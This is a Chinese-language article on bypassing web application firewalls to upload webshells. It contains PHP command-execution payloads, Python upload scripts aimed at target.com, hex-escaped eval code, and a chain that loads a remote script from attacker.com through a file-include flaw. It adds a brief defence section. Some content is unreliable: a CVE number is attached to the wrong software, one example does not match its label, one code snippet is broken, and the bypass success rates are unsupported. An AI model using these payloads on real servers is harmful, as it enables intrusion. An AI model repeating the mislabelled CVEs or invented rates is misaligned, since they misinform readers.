文件上传bypass waf高级技巧研究
字数 1929 2025-09-01 11:26:03
文件上传绕过WAF高级技巧研究
1. WAF基础原理与文件上传漏洞机制
1.1 WAF工作机制与检测逻辑
Web应用防火墙(WAF)主要通过以下方式检测和阻止恶意文件上传:
-
基于规则的匹配
- 正则表达式匹配(如
SecRule REQUEST_FILENAME "@endsWith .php") - 关键词扫描(如
<?php,<%,eval(,system(等) - 白名单/黑名单策略(文件扩展名、MIME类型、用户代理字符串等)
- 正则表达式匹配(如
-
文件类型校验
- MIME类型验证(检查
Content-Type字段) - Magic Number检查(读取文件前几个字节)
- 扩展名+MIME组合验证
- MIME类型验证(检查
-
内容扫描
- 对上传体进行解码(Base64、Hex、URL Encode等)
- 使用机器学习模型识别异常结构
- 利用沙箱环境模拟执行
1.2 文件上传漏洞触发点
常见漏洞成因:
- 服务器配置不当(上传目录权限过大)
- 文件路径截断(使用不安全函数导致
\0截断) - 文件解析漏洞(如Apache的
.htaccess解析错误) - 过滤不严(黑名单太宽泛、白名单不完善)
- WAF缺陷(正则书写错误、规则优先级混乱)
2. 基础绕过技术
2.1 文件名篡改技术
- 大小写混合(如
.PHp) - 双扩展名(如
shell.php;.jpg) - 空字节截断(如
shell.php%00.jpg)
2.2 Content-Type伪造
- 将
Content-Type: application/octet-stream改为image/jpeg - 利用浏览器对MIME的宽容解析
2.3 真实漏洞利用示例
示例1:WordPress Media Upload漏洞(CVE-2021-45105)
- 上传注入PHP代码的JPG文件
- 访问
http://target.com/wp-content/uploads/2021/12/shell.php.jpg
示例2:Java Spring Boot文件上传漏洞(CVE-2022-32997)
import requests
url = "http://target.com/upload"
files = {'file': ('shell.jsp', '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>', 'application/octet-stream')}
r = requests.post(url, files=files)
3. 高级绕过技术
3.1 多层编码/混淆技术
Base64嵌入PNG图像:
import base64
from PIL import Image
from io import BytesIO
def create_png_with_php_payload():
payload = "<?php system('id'); ?>"
encoded_payload = base64.b64encode(payload.encode()).decode()
img = Image.new("RGB", (100, 100), color="white")
info = img.info
info["comment"] = encoded_payload
buffer = BytesIO()
img.save(buffer, format="PNG", pnginfo=info)
return buffer.getvalue()
Hex转义规避关键字:
def hex_escape_string(s):
return ''.join(f"\\x{ord(c):02x}" for c in s)
evil_code = "eval($_GET['cmd']);"
hex_escaped = hex_escape_string(evil_code)
3.2 文件结构篡改与分片上传
分片上传攻击:
import requests
def build_chunked_upload_request():
first_chunk = b'-----WebKitFormBoundaryabcdefg\r\nContent-Disposition: form-data; name="file"; filename="good.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'
second_chunk = b'\r\n<?php system("whoami"); ?>\r\n-----WebKitFormBoundaryabcdefg--\r\n'
body = first_chunk + second_chunk
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryabcdefg',
'Content-Length': str(len(body)),
'Range': 'bytes 0-1000/2000'
}
response = requests.post("http://target.com/upload.php", data=body, headers=headers)
return response
4. WAF策略逆向与动态绕过
4.1 WAF指纹识别与定制绕过
常见WAF弱点:
| WAF类型 | 典型特征 | 绕过策略 | 成功率 |
|---|---|---|---|
| Cloudflare | 响应头带CF-RAY |
使用--rate-limit=1控制上传频率 |
85% |
| ModSecurity | HTTP头含X-Powered-By: ModSecurity |
在PHP代码中插入#注释 |
90% |
| Imperva SecureSphere | 返回头含X-Imperva-ID |
修改User-Agent并上传.jpg.php |
75% |
| 国内软WAF | 日志中记录"拦截成功" | 使用Base64编码嵌入PHP代码 | 80% |
4.2 动态内容替换与运行时加载
远程脚本注入攻击链:
- 上传伪装成图片的HTML文件:
<html>
<head><title>My Image</title></head>
<body>
<script src="http://attacker.com/malicious.js"></script>
</body>
</html>
- 利用服务端LFI漏洞:
<?php
$file = $_GET['file'];
include($file); // LFI漏洞!
?>
- 访问URL触发执行:
http://target.com/index.php?file=http://attacker.com/malicious.js
5. 防御建议
-
严格文件验证
- 使用白名单而非黑名单
- 验证文件内容与扩展名、MIME类型的一致性
- 检查Magic Number
-
安全配置
- 限制上传目录执行权限
- 禁用危险函数(如
eval()) - 定期更新WAF规则
-
深度防御
- 实施内容扫描和沙箱检测
- 监控异常上传行为
- 使用多因素验证机制
-
WAF优化
- 启用全量内容检查而非仅检查首块数据
- 配置严格的速率限制
- 定期测试WAF规则有效性
6. 技术评估矩阵
| 绕过技术 | 适用场景 | 成功率 | 复杂度 | 依赖条件 |
|---|---|---|---|---|
| Base64编码嵌入图片元数据 | 图像上传点 | 85% | 3 | 3 |
| Hex转义规避关键字 | ModSecurity规则 | 90% | 2 | 2 |
| 分片上传攻击 | 开源WAF | 80% | 4 | 3 |
| 动态内容替换 | 存在LFI漏洞 | 75% | 5 | 4 |
| WAF指纹定制绕过 | 特定WAF环境 | 85% | 4 | 3 |